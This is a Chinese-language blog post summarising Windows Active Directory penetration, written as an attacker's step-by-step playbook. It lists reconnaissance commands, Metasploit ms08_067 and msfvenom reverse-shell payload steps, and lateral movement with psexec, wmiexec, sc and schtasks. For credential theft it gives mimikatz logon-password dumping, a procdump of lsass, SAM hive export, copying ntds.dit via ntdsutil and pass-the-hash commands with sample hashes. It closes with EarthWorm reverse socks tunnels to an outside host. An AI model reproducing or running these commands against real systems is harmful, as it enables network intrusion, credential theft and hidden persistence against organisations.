域渗透总结

域渗透总结

学习并做了一段时间域网络渗透,给我直观的感受就是思路问题和耐心,这个不像技术研究,需要对一个点进行研究,而是遇到问题后要从多个方面思考,寻找"捷径"思路,只要思路正确,有足够有耐心,总会有所突破。现在将自己遇到的技术点及相关知识做一个总结,不足之处,请批评指正。

​ -----一只萌新

域环境搭建不再详述,参考:

> AD域环境的搭建 基于Server 2008 R2: http://www.it165.net/os/html/201306/5493.html

> Acitve Directory 域环境的搭建: http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html

在实际网络渗透中,最重要的还是信息搜集,其中包括公开信息和部分敏感信息,信息获取的越多,胜面就越大。

1、信息搜集

nmap扫描

nmap.exe -F 192.168.1.5

nmap.exe --script-smb-os-discover.nse

namp.exe --script=vuln 127.0.0.1 用来扫描目标主机是否有可检测漏洞,不过现在的nmap 缺少最新的漏洞检测脚本,所以只能检测到永恒之蓝和ms08067

nmap -p3306 --script=mysql-empty-password.nse 192.168.1.4 扫描mysql root空口令

nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4 猜解mssql用户名和密码

nmap --script=smb-enum-users 192.168.1.9 对192.168.1.9这台机器进行扫描,同时对smb的用户进行枚举。

whatweb

检测web指纹,辅助寻找可利用漏洞

whatweb url

whatweb --input-file=/root/desktop/url.txt

敏感目录扫描

wwwscan网站目录后台发现

dirsearch.py -u www.example.com -e *

公开敏感信息搜集

googlehack

给关键词加上半角引号实现精确搜索,不进行分词

谷歌搜索中限定搜索网页或文档标题的语法是:intitle或allintitle。allintitle是intitle的变体,相当于在各个搜索词前加上intitle。二者差别不明显,我们一般直接用intitle。intitle:“WSO 2.4”

谷歌搜索中限定搜索网页或文档正文的语法是:intext或allintext。intitle:“index” intext:“Login to the Administrative Interface”

从网站的URL入手挖掘信息 inurl:phpmyadmin/index.php & (intext:username & password & “Welcome to”)

搜索文件类型 filetype:txt

域登录日志&远程登录日志

域日志位置

C:\Windows\System32\winevt\Logs\Security.evtx 服务器登录日志 登录事件ID 4624,可判别出登录域控制器的机器

c:\windows\system32\winevt\logs\*.remote* 远程登录日志

主机远程登录日志

HKCU\Software\Microsoft\Terminal Server Client\Servers

HKCU\Software\Microsoft\Terminal Server Client\Default

域内信息获取

拿到域网络后第一件事情就是收集域信息_

ipconfig /all ------ 查询本机IP段,所在域等
net user ------ 本机用户列表
net localhroup administrators ------ 本机管理员[通常含有域用户]
net user /domain ------ 查询域用户
net group /domain ------ 查询域里面的工作组
net group “domain admins” /domain ------ 查询域管理员用户组
net localgroup administrators /domain ------ 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ------域用户添加到本机
net group “domain controllers” /domain ------ 查看域控制器(如果有多台)
net time /domain ------ 判断主域,主域服务器都做时间服务器
net config workstation ------ 当前登录域
net session ------ 查看当前会话
net use \ip\ipc$ pawword /user:username ------ 建立IPC会话[空连接-***]
net share ------ 查看SMB指向的路径[即共享]
net view ------ 查询同一域内机器列表
net view \ip ------ 查询某IP共享
net view /domain ------ 查询域列表
net view /domain:domainname ------ 查看workgroup域中计算机列表
net start ------ 查看当前运行的服务
net accounts ------ 查看本地密码策略
net accounts /domain ------ 查看域密码策略
nbtstat –A ip ------netbios 查询
netstat –an/ano/anb ------ 网络连接查询
route print ------ 路由表

dsquery computer ----- finds computers in the directory.
dsquery contact ----- finds contacts in thedirectory.
dsquery subnet ----- finds subnets in thedirectory.
dsquery group ----- finds groups in thedirectory.
dsquery ou ----- finds organizationalunits in the directory.
dsquery site ----- finds sites in thedirectory.
dsquery server ----- finds domain controllers inthe directory.
dsquery user ----- finds users in thedirectory.
dsquery quota ----- finds quota specificationsin the directory.
dsquery partition ----- finds partitions in thedirectory.
dsquery * ----- finds any object inthe directory by using a generic LDAP query.
dsquery server –domain Yahoo.com | dsget server–dnsname –site —搜索域内域控制器的DNS主机名和站点名
dsquery computer domainroot –name -xp –limit 10----- 搜索域内以-xp结尾的机器10台
dsquery user domainroot –name admin
-limit ---- 搜索域内以admin开头的用户10个

tasklist /V ----- 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V ----- 查看远程计算机进程列表
qprocess * ----- 类似tasklist
qprocess /SERVER:IP ----- 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com ----- 查看邮件服务器
whoami /all ----- 查询当前用户权限等
set ----- 查看系统环境变量
systeminfo ----- 查看系统信息
qwinsta ----- 查看登录情况
qwinsta /SERVER:IP ----- 查看远程登录情况
fsutil fsinfo drives ----- 查看所有盘符
gpupdate /force ----- 更新域策略

wmic bios ----- 查看bios信息
wmic qfe ----- 查看补丁信息
wmic qfe get hotfixid ----- 查看补丁-Patch号
wmic startup ----- 查看启动项
wmic service ----- 查看服务
wmic os ----- 查看OS信息
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size,
volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:“hostname” bios get serialnumber (this can be great for finding warranty info about target)

浏览器密码、历史记录

firefox

%appdata%\Roaming\Mozilla\Firefox\Profiles\*.defualt\logins.json

%appdata%\Roaming\Mozilla\Firefox\Profiles\*.defualt\key3.db

%appdata%\Roaming\Mozilla\Firefox\Profiles\*.defualt\place.sqlite

取上述三个文件导入到对应版本firefox的文件夹中,即可读取密码和历史记录

最近使用文件

%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\

其他敏感信息

USB存储信息

HKLM\SYSTEM\CurrentControlSet\Enum\USB

HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR

putty日志

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY

Radmin安装位置,文件夹下会有日志

C:\Program Files\Radmin

c:\windows\system32\Rserver30

端口(常见数据库&服务http://cert.sjtu.edu.cn/doc/linux/ch-ports.html)

sqlserver默认端口号为:1433

mysql 默认端口号为:3306

oracle 默认端口号为:1521

HTTP协议代理服务器常用端口号:80/8080/3128/8081/9098

SOCKS代理协议服务器常用端口号:1080

Telnet(远程登录)协议代理服务器常用端口号:23

FTP(文件传输)协议代理服务器常用端口号:21

POP3 Post Office Protocol(E-mail),默认端口号为110/tcp

JBOSS,默认端口号为8080

TOMCAT,默认端口号为8080

webshpere管理工具,默认端口号9090

SSH(安全登录)、SCP(文件传输)、端口号重定向,默认的端口号为22/tcp

自启动位置

HKEY_CURRENT_USER\Software\Microsoft*\Windows\CurrentVersion*\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

2、漏洞攻击

ms08067

流程

use exploit/windows/smb/ms08_067_netapi

set payload windows/meterpreter/reverse_tcp

show options

set LHOST 127.0.0.1

set RHOST 127.0.0.1

show target

set target *

exploit

利用metasploit攻击(ms08_067_netapi),具体的攻击过程很简单,show options看一下就可以了,这里要说的是攻击过程中目标网络有防火墙限制,不让反弹连接,使用reverse_tcp不成功,可以尝试使用bind_tcp监听式的payload。

ms17010

msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=6666 -f exe > /var/www/html/6666.exe

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

show options

set LHOST 127.0.0.1

set RHOST 127.0.0.1

exploit

为了提高渗透效率,可以用一些ms17010的批量扫描工具,网上一堆,不过注意安全

公开漏洞搜集、组合利用

Drupal 7(8) - CVE-2018-7600(RCE)

PHPMailer 代码执行漏洞(CVE-2016-10033)

CVE-2018-4878 Flash(http://blog.51cto.com/chenxinjie/2093653)

CVE-2018-8174 “双杀”0day漏洞复现(https://www.freebuf.com/vuls/173727.html)

Tomcat远程代码执行漏洞(CVE-2017-12615)

3、木马控制

常见的木马技术:内存型木马、实体木马、shellcode木马,具体的技术都够仔细研究好久了,在这儿不详述,渗透过程中要针对特定环境进行最优选择。

4、持久化驻留

后门技术

ICMP后门,网上有公开的代码,主要利用了ICMP协议进行后门激活和命令执行,可绕过防火墙限制。

https://blog.csdn.net/qq_20307987/article/details/84612699

计划任务

at \\192.168.200.100 15:00 c:\hack.bat

psexec

psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec \192.168.200.100 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。
参数:

-s 参数用来以system权限执行

–accepteula 绕过第一次运行的弹窗

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

-d 不等待程序执行完就返回

psexec \\192.168.1.2 c:\hack.bat

系统自带远程管理 winrs

winrs -r:192.168.1.100 -u:administrator -p:pwd ipconfig

schtasks

schtasks /create /tn mytask /tr F:\Desktop.exe /sc minute /mo 1 每分运行1次

/RU 可以以 system 启动,例如

schtasks /Create /TN test /SC DAILY /ST 00:09 /TR notepad.exe /RU SYSTEM

schtasks /create /tn mytask /tr “C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp” /sc minute /mo 2

schtasks /Query /TN mytask

net time

schtasks /Delete /TN mytask /F

wmiexec

半交互模式:
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password

单个命令执行的模式:
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command"

如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1  
wce -s [hash] 
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1

sc创建服务运行

1、系统权限(其中test为服务名)
sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test

2.指定用户权限启动
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test

5、提权

windows提权辅助工具,原理主要通过 systeminfo 补丁信息比对漏洞库, 工具链接

https://github.com/GDSSecurity/Windows-Exploit-Suggester/

linux 提权辅助

https://github.com/jondonas/linux-exploit-suggester-2

windows-kernel-exploits Windows 平台提权漏洞集合

https://github.com/SecWiki/windows-kernel-exploits

linux-kernel-exploits Linux 平台提权漏洞集合

https://github.com/SecWiki/linux-kernel-exploits

ms14068

https://www.freebuf.com/vuls/56081.html 详细分析

cve-2018-8120

https://github.com/alpha1ab/CVE-2018-8120

cve-2017-0213

https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213

6、密码获取

内存口令Mimikatz(最新版已支持win10)

https://github.com/gentilkiwi/mimikatz/releases

如果网络中用户或者管理员在已控制主机上登录过,并且主机没有重启,那么一般可以使用mimikatz在该机器上抓取到明文口令。当然,现在工具可能被查杀了,不过还是有一些如getpass之类的工具可以绕过,原理其实是一样的,都是从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码。

首先看一下mimikatz的命令有那些,顺便给大佬递个茶~

域渗透总结_第1张图片

使用指令privilege::debug , 进入debug模式

域渗透总结_第2张图片

sekurlsa::logonPasswords就是抓取登录密码

域渗透总结_第3张图片

同样mimikatz还有凭据注入的功能,具体可以结合ms14068看看

SAM文件破解

有的时候内存中没有存储明文口令,导致抓内存的方法是不可行的,那么可以换个思路寻找本地用户的Hash,导出方法为:

reg save hklm\system c:\users\test\Desktop\sys.dat

reg save hklm\sam c:\users\test\Desktop\sam.dat

然后将sam.dat和sys.dat两个文件导入到软件saminside中,就可以读到用户的NTHash,然后通过cmd破解网站破解即可。

dump lasses.exe进程内存离线破解

1.对于NT6的系统可以直接使用windows自带的功能dump lsass.exe内存。通过打开任务管理器,右键lsass.exe进程,创建转储文件,若成功可生成lsass.DMP文件,将其拷贝到mimikatz文件目录下。

对于NT5 系统可以使用微软的Procdump工具

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

2.使用mimikatz中sekurlsa::minidump功能导入dmp文件,进而获取密码

域渗透总结_第4张图片

键盘记录

这个就不多说了,一般的键盘记录功能都可以清楚记录用户操作,其中包含各种网站、设备、软件登录口令~~~

域控服务器hash导出

Ntdsutil.exe是一个为 Active Directory 提供管理设施的命令行工具。可使用Ntdsutil.exe 执行Active Directory的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用Active Directory安装向导 (DCPromo.exe)成功降级的域控制器留下的元数据。Ntdsutil还可以用来获取域控数据库ntds.dit文件,具体命令如下:

(1)创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

(2)Ntdsutil挂载活动目录的快照
ntdsutil snapshot "mount {GUID}" quit quit
{GUID}为动态获取的

(3)复制快照的本地磁盘
copy MOUNT_POINT\windows\NTDS\ntds.dit c:\ntds.dit

(4)卸载快照
ntdsutil snapshot "unmount {GUID}" quit quit

(5)删除快照
ntdsutil snapshot "delete {GUID}" quit quit

使用命令“QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit”将导出的ntds.dit文件中哈希值全导出

Quarks PwDump https://blog.quarkslab.com/quarks-pwdump.html

Pass the Hash

在Windows系统中,通常会使用NTLM身份认证

NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)

hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash

如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

wmiexec

参考地址:

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

exe版本下载地址:

https://github.com/maaaaz/impacket-examples-windows

注:

wmiexec.py的注释中提示"Main advantage here is it runs under the user (has to be Admin) account",经实际测试普通用户权限即可

参数实例:

wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/[email protected] "whoami"

wmiexec.py的hash参数格式为LMHASH:NTHASH,由于该Hash来自于Server 2008,系统默认不支持LM hash,所以LM hash可以设定为任意值

powershell

参考地址:

https://github.com/Kevin-Robertson/Invoke-TheHash/

支持多种方式

Invoke-WMIExec:

参数实例:

Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose

类似wmiexec.py

Invoke-SMBExec:

支持SMB1, SMB2 (2.1), and SMB signing

参数实例:

Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose

通过在目标主机创建服务执行命令,所以权限为system

Invoke-SMBClient:支持SMB1, SMB2 (2.1), and SMB signing

如果只有SMB文件共享的权限,没有远程执行权限,可以使用该脚本

支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令hash的权限)

7、挂代理隐蔽身份

proxychains

ProxyChains是Linux和其他Unices下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。ProxyChains 的配置文件位于 /etc/proxychains.conf ,打开后你需要在末尾添加你使用的代理

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4    127.0.0.1 9050

# example
socks5  127.0.0.1 8888

OK,基础的配置到这里就搞定了。除此之外,这个文件里还用一堆可选的配置供你调整,自己去看啦。

ProxyChains 的使用方式非常简单,直接在应用程序前加上 proxychains 即可。例如:

proxychains wget https://github.com/haad/proxychains/archive/proxychains-4.2.0.tar.gz

也可以用proxyChains打开一个bash终端,就不用每次都输入proxychains了

proxy bash 打开一个终端,里面执行的下载等命令都是通过代理流量走

SSH 端口转发

ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host 
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host 
ssh -C -f -N -g -D listen_port user@Tunnel_Host

参数说明

-L port:host:hostport 
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport 
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port 
指定一个本地机器 "动态的"应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

C Enable compression. 
压缩数据传输。

-N Do not execute a shell or command. 
不执行脚本或命令,通常与-f连用。

-g Allow remote hosts to connect to forwarded ports. 
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。

栗子:

ssh -C -f -N -g -L 443:192.168.1.3:443 [email protected] 

假设A机ip为192.168.1.1,在A机上执行上述命令,则表示通过192.168.1.2代理转发,访问192.168.1.1的443端口,即可访问192.168.1.3的443端口。

ssh -C -f -N -g -R 443:192.168.1.3:443 [email protected]
在192.168.1.2上开启443端口监听,若有连接到192.168.1.2的443端口的数据,全部转发到192.168.1.3的443端口。

ssh -C -f -N -g -D 1080 [email protected]
在本地执行,监听1080端口,若有数据到达本地1080端口,则通过192.168.1.2转发出去

EarthWorm

参数说明:
-h 查看帮助

-s 指定链路状态(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、 lcx_tran)

ssocksd:正向socks5代理连接;

rcsocks、rssocks:反向socks5代理连接;

lcx_slave、lcx_listen:端口转发;

lcx_tran:端口映射;

-l 开放指定端口监听;

-d 指定转发或反弹的主机地址;

-e 指定转发或反弹的主机端口;

-f 指定连接或映射的主机地址;

-g 指定连接或映射的主机端口;

-t 设置超时时间,默认为10000毫秒,即10秒(单位毫秒,-h显示有误);

-v 显示版本;

-a 显示关于页面;

栗子:

(1)正向socks5代理(适用于目标拥有公网ip且可任意开监听端口):
    ew -s ssocksd -l 1080
    在公网主机1.1.1.1上运行并开启端口为1080的socks5代理。
    通过proxifier等代理工具访问1.1.1.1:1080使用1.1.1.1主机提供的socks5代理服务

(2)反向socks5代理(适用于目标无公网ip但可访问外网):
    在公网主机上添加转接隧道,将1080端口收到的代理请求转交给反弹到8888端口的主机
    ew -s rcsocks -l 1080 -e 8888(经测试发现,将rcsocks改成lcx_listen也同样有效)
    
    在目标主机上开启socks5代理并反向连接到公网主机1.1.1.1的8888端口上
    ew -s rssocks -d 1.1.1.1 -e 8888
    
    待反弹成功后,在公网主机cmd上显示cmd_socket OK!,通过proxifier等代理工具访问1.1.1.1:1080使用     rssocks主机提供的socks5代理服务

(3)端口转发功能
    在公网主机1.1.1.1上添加转接隧道,将8888端口收到的代理请求,转交给反连1234端口的主机,或者按lcx理	 解:监听slave请求的1234端口并将数据转发到8888端口。
    ew -s lcx_listen -e 1234 -l 8888(此时开启监听1234、8888端口,习惯lcx的可以-e在前,-l在后)
    
    将目标ip的3389端口转发到公网主机1.1.1.1的1234端口上
    ew -s lcx_slave -d 1.1.1.1 -e 1234 -f 127.0.0.1 -g 3389(127.0.0.1可改成目标主机可访问的 	 其他ip)
    
    若转发成功,公网主机cmd上显示cmd_socket OK!
    
    利用mstsc连接1.1.1.1的8888端口,即可连接目标网络中主机的3389

(4)端口映射功能
	将请求的12345端口数据映射到目标的3389端口
	ew -s lcx_tran -l 12345 -f 127.0.0.1 -g 3389(127.0.0.1可改成目标主机可访问的其他ip)
	
	mstsc连接1.1.1.1:12345,即可连接到目标的3389远程桌面
	
(5)多重网络环境穿透-1
    假设获得目标网络内两台主机A(2.2.2.2)、B(2.2.2.3)的权限,情况描述如下:
    A主机:存在公网 IP,且自由监听任意端口,无法访问特定资源。
    B主机:目标网络内部主机,可访问特定资源,但无法访问公网。
    A主机可直连B主机。
    对于此类情况,可采用正向socks5代理+端口映射方式进行内网穿透。
    
    在B主机上运行并开启端口为8888的socks5正向代理
    ew -s ssocksd -l 8888
    
    在A主机上运行将请求的1080端口数据,映射到目标2.2.2.3的8888端口
    ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 8888
    
    通过proxifier等代理工具访问2.2.2.2:1080,使用2.2.2.3主机提供的socks5代理服务

(6)多重网络环境穿透-2
    假设获得目标网络内两台主机A(2.2.2.2)、B(2.2.2.3)的权限,公网主机(1.1.1.1),情况描述如下:
    A主机:目标网络的边界主机,无公网 IP,无法访问特定资源,可访问外网。
    B主机:目标网络内部主机,可访问特定资源,却无法回连公网。
    A主机可直连B主机。
    此类情况与上一个环境不同的是A主机无公网IP,此时可采用正向socks5代理+端口转发方式进行内网穿透。
    
    在公网主机1.1.1.1上添加转接隧道,将1080端口收到的代理请求转交给反连8888端口的主机,或者按lcx理	解:监听slave请求的8888端口并将数据转发到1080端口。
    ew -s lcx_listen -e 8888 -l 1080
    
    在B主机上运行并开启端口为9999的socks5正向代理
    ew -s ssocksd -l 9999
    
    将B主机的9999端口转发到公网主机1.1.1.1的8888端口上。打通1.1.1.1:8888 和2.2.2.3:9999之间的通	  讯隧道,使其连接起来。
    ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
    
    通过proxifier等代理工具访问1.1.1.1:1080使用2.2.2.3主机提供的socks5代理服务
   

netsh

Netsh是一种命令行实用程序,可用来显示与修改当前正在运行的计算机的网络配置,用于端口转发功能代码(可以创建任意数量的Windows端口转发规则。所有netsh interface portproxy规则都是持久性的,并会在Windows系统重启后被保存):

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)
connectport – 一个TCP端口,来自listenport的连接会被转发到该端口

显示系统中的转发规则列表
netsh interface portproxy show all

清除所有当前的端口转发规则
netsh interface portproxy reset

删除指定的端口转发规则
netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110

socat

socat是一个多功能的网络工具,名字来由是” SOcket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情。转发命令:

socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15000,reuseaddr,fork,su=nobody TCP4:server.wesnoth.org:15000

“-d -d -lf /var/log/socat.log”是参数,前面两个连续的-d -d代表调试信息的输出级别,-lf则指定输出信息的保存文件。

“TCP4-LISTEN:15000,reuseaddr,fork,su=nobody”是一号地址,代表在15000端口上进行TCP4协议的监听,复用绑定的IP,每次又连接到来就fork复制一个进程进行处理,同时将执行用户设置为nobody用户。

“TCP4:server.wesnoth.org:15000″是二号地址,代表将socat监听到的任何请求,转发到server.wesnoth.org:15000上去。

上面这个是命令全一些的,其实有一些没必要加,精简版如下:
socat TCP4-LISTEN:188,reuseaddr,fork TCP4:192.168.1.22:123

参考链接:

https://blog.csdn.net/a351945755/article/details/21785647

https://www.sohu.com/a/200547078_557054

https://xz.aliyun.com/t/1802

你可能感兴趣的:(内网渗透)